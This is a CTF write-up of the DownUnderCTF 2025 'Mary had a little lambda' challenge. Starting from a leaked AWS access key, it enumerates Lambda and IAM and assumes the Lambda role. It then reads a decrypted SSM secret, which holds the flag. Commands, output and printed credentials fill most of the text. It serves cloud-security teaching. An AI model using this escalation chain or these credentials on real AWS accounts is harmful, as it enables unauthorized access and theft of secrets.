DownUnderCTF 2025 — Mary had a little lambda (154 pts)
Description
Dear CSI,
The Ministry of Australian Research into Yaks (MARY) is the leading authority of yak related research in Australia. They know a lot about long-haired domesticated cattle, but unfortunately not a lot about information security.
They have been migrating their yak catalog application to a serverless, lambda based, architecture in AWS, but in the process have accidentally exposed an access key used by their admins. You’ve gotten a hold of this key, now use this access to uncover MARY’s secrets!
Regards,
gyrospectre
Attachments
Solution
We were given an access key to AWS
jedi@aqua: /mnt/d/CTF/ductf/misc
$ cat access_key.txt [21:06:38]
[devopsadmin]
aws_access_key_id=AKIAXC42U7VJ2XOBQKGI
aws_secret_access_key=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
region=us-east-1
From the title, we can assume that there is a correlation with AWS Lambda, a serverless compute service that allows users to run code without managing servers
First, we need to make a new profile using the credentials that we get earlier
jedi@aqua: /mnt/d/CTF/ductf
$ aws configure --profile ductf [21:51:48]
AWS Access Key ID [None]: AKIAXC42U7VJ2XOBQKGI
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: json
Next, we need to check the account identity
jedi@aqua: /mnt/d/CTF/ductf
$ aws sts get-caller-identity --profile ductf
{
"UserId": "AIDAXC42U7VJSYNSAD4EV",
"Account": "487266254163",
"Arn": "arn:aws:iam::487266254163:user/devopsadmin"
}
We then list al the Lambda functions
jedi@aqua: /mnt/d/CTF/ductf
$ aws lambda list-functions --profile ductf
{
"Functions": [
{
"FunctionName": "yakbase",
"FunctionArn": "arn:aws:lambda:us-east-1:487266254163:function:yakbase",
"Runtime": "python3.13",
"Role": "arn:aws:iam::487266254163:role/lambda_role",
"Handler": "yakbase.lambda_handler",
"CodeSize": 623,
"Description": "",
"Timeout": 30,
"MemorySize": 128,
"LastModified": "2025-07-14T12:42:45.148+0000",
"CodeSha256": "TJjcu+uixucgk+66VOvlNYdT4ifRe6bgdAQxWujMwVM=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "6e45ccea-697d-4cd8-b606-67577b601b0b",
"Layers": [
{
"Arn": "arn:aws:lambda:us-east-1:487266254163:layer:main-layer:1",
"CodeSize": 689581
}
],
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/yakbase"
}
}
]
}
We see that there is a function called yakbase. We need to see more of the function
jedi@aqua: /mnt/d/CTF/ductf
$ aws lambda get-function --function-name yakbase --profile ductf
{
"Configuration": {
"FunctionName": "yakbase",
"FunctionArn": "arn:aws:lambda:us-east-1:487266254163:function:yakbase",
"Runtime": "python3.13",
"Role": "arn:aws:iam::487266254163:role/lambda_role",
"Handler": "yakbase.lambda_handler",
"CodeSize": 623,
"Description": "",
"Timeout": 30,
"MemorySize": 128,
"LastModified": "2025-07-14T12:42:45.148+0000",
"CodeSha256": "TJjcu+uixucgk+66VOvlNYdT4ifRe6bgdAQxWujMwVM=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "6e45ccea-697d-4cd8-b606-67577b601b0b",
"Layers": [
{
"Arn": "arn:aws:lambda:us-east-1:487266254163:layer:main-layer:1",
"CodeSize": 689581
}
],
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
"RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:83a0b29e480e14176225231a6e561282aa7732a24063ebab771b15e4c1a2c71c"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/yakbase"
}
},
"Code": {
"RepositoryType": "S3",
"Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/487266254163/yakbase-f70d7c3a-5267-425f-8ed2-4c7a9497db04?versionId=AWtrEWcqRUhNouC7YHffyafILNKu2lrj&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEL7%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIFYuHUbnIFKHy4HYlozw5BPDjirzun%2BItW%2FYPMbS52ixAiEAprAndNgyDoPtGOCI8jtsfSprPsw58LgdPyOmGn86FNcqkgII1%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw3NDk2Nzg5MDI4MzkiDHXrnxyOiaw%2BFVoaYyrmAXCL%2F3fOKKjhqvPPQBGwXpKQVy8CuD5DPvtUF6AjP%2FVgZzRCxlg2zOSnMHhqshRouiAjrSRJ1wpnFRQwZzk4MO6nk3adRXjIAIRuYrP15tvcg8m1plS8BSTwzrr%2Fg%2FyznlC3vaFknfj1H0l3DUs7zVvG3sjJcxK%2F8X%2F8K1p5tkdNYD%2FWoGp7ESKjMD4pof%2BQYhEBIRjHSF%2Fs11e32j3rfszgkZPM4F9B%2F5Sd8Mk4%2FIrPsbJ7K0X4Mt7nnFo%2B6eZNLAVr1s7szvr0t0ubmQjbT7CYKpEqVmEMJ60scP90b%2BfqN2j9HOYrMLKK%2BcMGOo8BvG3B8ipA0025KE4k0W%2Bl9rPy4ZLcUF%2FrWfpkFk4ULUfdYRAG%2BP4l5UHPTYqGN%2BjBX0eq6MJm10LhWf%2BOLSz%2BZRqvVar9EvcEv1BebICnii8TayrxEkSNIGBKhyT2qflp2l83X8sgxlK1edN3uYOV7EV3lhG9eu%2FD6Kmo2d2NNRXOCRz5N4nlROfXTUNbtmM%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20250721T145611Z&X-Amz-SignedHeaders=host&X-Amz-Expires=599&X-Amz-Credential=ASIA25DCYHY3QNTMAM7U%2F20250721%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=295b64b356d2ad8c0733c6dc707003e1438779a2da9f82818efee95008451eee"
},
"Tags": {
"Challenge": "Mary had a little lambda"
}
}
We see that there is an S3 repository. We can try to access it and see what’s inside it
We find out that there is a python code named yakbase.py
jedi@aqua: /mnt/d/CTF/ductf
$ cat yakbase.py [21:57:24]
import os
import json
import logging
import boto3
import mysql.connector
logger = logging.getLogger()
logger.setLevel(logging.INFO)
def lambda_handler(event, context):
session = boto3.Session()
ssm = session.client('ssm')
dbpass = ssm.get_parameter(Name="/production/database/password", WithDecryption=True)['Parameter']['Value']
mydb = mysql.connector.connect(
host="10.10.1.1",
user="dbuser",
password=dbpass,
database="BovineDb"
)
cursor = mydb.cursor()
cursor.execute("SELECT * FROM bovines")
results = cursor.fetchall()
# For testing without the DB!
#results = [(1, 'Yak', 'Hairy', False),(2, 'Bison', 'Large', True)]
numresults = len(results)
response = f"Database contains {numresults} bovines."
logger.info(response)
return {
'statusCode' : 200,
'body': response
}
We see several things from the yakbase Lambda Function
- Database connection: Uses MySQL connector to connect to
10.10.1.1 - User:
dbuser - Password source: Retrieved from SSM Parameter Store at
/production/database/password
We try to check the parameter
jedi@aqua: /mnt/d/CTF/ductf
$ aws ssm get-parameter --name "/production/database/password" --with-decryption --profile ductf
An error occurred (AccessDeniedException) when calling the GetParameter operation: User: arn:aws:iam::487266254163:user/devopsadmin is not authorized to perform: ssm:GetParameter on resource: arn:aws:ssm:us-east-1:487266254163:parameter/production/database/password because no identity-based policy allows the ssm:GetParameter action
FAIL
We find out that devopsadmin user doesn’t have direct SSM permissions,
jedi@aqua: /mnt/d/CTF/ductf
$ aws iam list-user-policies --user-name devopsadmin --profile ductf
{
"PolicyNames": [
"restricted"
]
}
We also see that the PolicyNames for user devopsadmin is restricted
We need to check the inline IAM policy attached to the IAM user devopsadmin
aws iam get-user-policy \
--user-name devopsadmin \
--policy-name restricted \
--profile devopsadmin
"UserName": "devopsadmin",
"PolicyName": "restricted",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:ListUserPolicies",
"iam:GetUserPolicy"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::487266254163:user/devopsadmin"
},
{
"Action": "lambda:ListFunctions",
"Effect": "Allow",
"Resource": "*"
},
{
"Action": "lambda:GetFunction",
"Effect": "Allow",
"Resource": "arn:aws:lambda:us-east-1:487266254163:function:yakbase"
},
{
"Action": "iam:GetRole",
"Effect": "Allow",
"Resource": "arn:aws:iam::487266254163:role/lambda_role"
}
]
}
}
We can see from the result above that the IAM policy allows devopsadmin to:
- List its own user policies (
ListUserPolicies) - View the contents of its own inline policies (
GetUserPolicy) - List all Lambda functions in the account (
lambda:ListFunctions) - View details of a specific Lambda function named
yakbase(lambda:GetFunction) - Read details of the IAM role named
lambda_role(iam:GetRole)
Since the Lambda function uses an IAM role, we attempt to assume that role using the following command :
jedi@aqua: /mnt/d/CTF/ductf
$ aws sts assume-role --role-arn "arn:aws:iam::487266254163:role/lambda_role" --role-session-name "ctf-session" --profile ductf
{
"Credentials": {
"AccessKeyId": "ASIAXC42U7VJ5ZHR5YTI",
"SecretAccessKey": "UzVU9H7NieniYQ0zdwhKqm2rTocLbu/YDwRzzROF",
"SessionToken": "IQoJb3JpZ2luX2VjEMD//////////wEaCXVzLWVhc3QtMSJHMEUCIAv6h7MZHKmEoJtRkrwjhqUEHQKiz/R0zNw1zj9zOkcaAiEA7lmI0b++Q3b3vMAtU1/j8kHouVRL0yqI85Rgef02hpcqoQII2f//////////ARAAGgw0ODcyNjYyNTQxNjMiDIg3cKapklmz953Xuir1AaORsTgu9ZhG4EQwsGYfh6um/3EEHbmPbbatWP6tvNus8c65+r8lvmFS0M0IYwU7rJ6tYGEwteyVPVFRp5NbLijIe7IBNXHYTX7IjpCCfjXyIFFjqu++ji2a9ey17caCDG//u35rIy9K+KWcD3deL1aIwEX5/216Eu5/zJyXVFjpPhdxZA1bPz3RIfYPCBOjSjgt6vzHoTCybOUkBfrRQdtMQBWdwMFvqCUe6RfJVRCgx+fQ+u8s77gpvxRQT6YN9DH+9X42enpriG8Z5hN3xX3sUxpX9YnN4ajIlXzzm6jveXsdoWgcaOiVdwFO7MU7mTWqa9FBMJHG+cMGOp0BfOrmNWQgIUqlyEzn2fMUm1ly0A9NB1k1rxBpDkgLnhV1r+/yAMnU2WGjlOw5QIyBw7ARPCkkvpf15GAHdZhraLbQ1VXYoh4JWA0L5OnleSnIUHLX2WLzRaLaRTT+grw3pTA6GWXkBWywoiux+xwsoTgf9LEofw+uHE7AJv9I35LbVdxQZDq4x2qkzKsPU9GID7EzwaPKis8KZIo9xw==",
"Expiration": "2025-07-21T16:56:01+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAXC42U7VJRLSSOYQRI:ctf-session",
"Arn": "arn:aws:sts::487266254163:assumed-role/lambda_role/ctf-session"
}
}
We can use the credentials that we get to assume the role by exporting them as environment variables
export AWS_ACCESS_KEY_ID="ASIAXC42U7VJ5ZHR5YTI"
export AWS_SECRET_ACCESS_KEY="UzVU9H7NieniYQ0zdwhKqm2rTocLbu/YDwRzzROF"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEMD//////////wEaCXVzLWVhc3QtMSJHMEUCIAv6h7MZHKmEoJtRkrwjhqUEHQKiz/R0zNw1zj9zOkcaAiEA7lmI0b++Q3b3vMAtU1/j8kHouVRL0yqI85Rgef02hpcqoQII2f//////////ARAAGgw0ODcyNjYyNTQxNjMiDIg3cKapklmz953Xuir1AaORsTgu9ZhG4EQwsGYfh6um/3EEHbmPbbatWP6tvNus8c65+r8lvmFS0M0IYwU7rJ6tYGEwteyVPVFRp5NbLijIe7IBNXHYTX7IjpCCfjXyIFFjqu++ji2a9ey17caCDG//u35rIy9K+KWcD3deL1aIwEX5/216Eu5/zJyXVFjpPhdxZA1bPz3RIfYPCBOjSjgt6vzHoTCybOUkBfrRQdtMQBWdwMFvqCUe6RfJVRCgx+fQ+u8s77gpvxRQT6YN9DH+9X42enpriG8Z5hN3xX3sUxpX9YnN4ajIlXzzm6jveXsdoWgcaOiVdwFO7MU7mTWqa9FBMJHG+cMGOp0BfOrmNWQgIUqlyEzn2fMUm1ly0A9NB1k1rxBpDkgLnhV1r+/yAMnU2WGjlOw5QIyBw7ARPCkkvpf15GAHdZhraLbQ1VXYoh4JWA0L5OnleSnIUHLX2WLzRaLaRTT+grw3pTA6GWXkBWywoiux+xwsoTgf9LEofw+uHE7AJv9I35LbVdxQZDq4x2qkzKsPU9GID7EzwaPKis8KZIo9xw=="
export AWS_DEFAULT_REGION="us-east-1"
We then test the new credentials by running the following command :
jedi@aqua: /mnt/d/CTF/ductf
$ aws sts get-caller-identity
{
"UserId": "AROAXC42U7VJRLSSOYQRI:ctf-session",
"Account": "487266254163",
"Arn": "arn:aws:sts::487266254163:assumed-role/lambda_role/ctf-session"
}
Since the assumed lambda_role might be used by the Lambda function to access certain AWS resources, we attempt to leverage it to read sensitive parameters. With the new credentials in place, we now try to access the SSM parameter store, and successfully retrieve the flag
jedi@aqua: /mnt/d/CTF/ductf
$ aws ssm get-parameter --name "/production/database/password" --with-decryption
{
"Parameter": {
"Name": "/production/database/password",
"Type": "SecureString",
"Value": "DUCTF{.*#--BosMutusOfTheTibetanPlateau--#*.}",
"Version": 1,
"LastModifiedDate": "2025-07-14T19:42:32.390000+07:00",
"ARN": "arn:aws:ssm:us-east-1:487266254163:parameter/production/database/password",
"DataType": "text"
}
}
Flag
DUCTF{.*#--BosMutusOfTheTibetanPlateau--#*.}